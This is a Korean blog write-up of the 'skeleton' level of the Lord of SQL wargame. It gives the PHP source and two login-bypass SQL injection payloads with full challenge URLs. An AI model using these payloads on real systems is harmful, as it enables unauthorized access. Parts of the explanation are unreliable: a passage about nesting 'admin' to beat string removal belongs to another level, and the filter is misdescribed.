LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 vampire에 이어 skeleton 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
skeleton는 vampire와 마찬가지로 단순 필터링 우회문제입니다.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?>
위의 문제에서는 크게 필터링되는 것은 보이지 않고, id가 guest로 고정되어 있지만, id='admin'이 참이 되게끔 하는 조건문을 완성하는 것이 관건인 문제입니다.
여기서는 pw 내에 적절한 Injection이 필요할 것 같습니다.
|
문제 풀이(쿼리) |
GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.
|
pw 쪽에 값 삽입(주석 있음) |
이 문제에서는 admin을 한 번 발견하면, 딱 한 번 지워준다는 취약점을 가지고 있습니다.
따라서 admin이라는 문자열 안에 admin을 한 번 더 넣어주게 되면 안에 있는 admin은 사라지고 완전한 admin이 남게 되지요.
뭔가 랩 같이 글을 쓰게 됐는데 설명은 아래에서 더 자세히 하겠습니다.
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27%20or%20id=%27admin%27%23 |
위의 쿼리는 pw=' or id='admin'%23 이라고 작성해주었습니다.
여기서 id='admin'을 입력하더라도 뒤의 조건문 and 연산자가 무조건 False가 되게끔 하기 때문에 적절한 주석처리가 필요하게 됩니다.
따라서 쿼리는 다음과 같이 나타나게 됩니다.
query : select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0 |
이렇게 하면 id='admin'이라는 조건만 참이 되고 뒤의 문자들은 주석처리되어 실행되지 않습니다.
또한 앞의 id='guest' and pw='' 조건문은 거짓이 되게 됩니다.
여기서 주석은 %23 즉, # 이외에도 %20--%20이 되는 것을 확인했습니다.
|
pw 쪽에 값 삽입(주석 없음) |
만약 주석이 불가능하다고 가정한다면 다음과 같은 방법으로도 풀 수 있습니다.
중간에 주석을 넣어주지 않고 id='admin'만 참이고 나머지는 거짓으로 하면 됩니다.
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27%20or%20id=%27admin%27%20or%20id=%27 |
위의 쿼리는 pw=' or id='admin' or id='%23 이라고 작성해주었습니다.
먼저 쿼리는 다음과 같이 나타나게 됩니다.
query : select id from prob_skeleton where id='guest' and pw='' or id='admin' or id='' and 1=0 |
여기서 세 개의 조건이 나타나게 되는데, 각각의 설명은 다음과 같습니다.
query : select id from prob_skeleton where id='guest' and pw='' or id='admin' or id='' and 1=0 |
id='guest' and pw=''는 거짓
id='admin' 는 참
id='' and 1=0 은 거짓
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 14 - giant (0) | 2019.03.27 |
---|---|
[LOS - Lord Of SQL] Level 13 - bugbear (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 12 - darkknight (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 11 - golem (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 09 - vampire (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 08 - troll (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 07 - orge (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 06 - darkelf (2) | 2019.03.26 |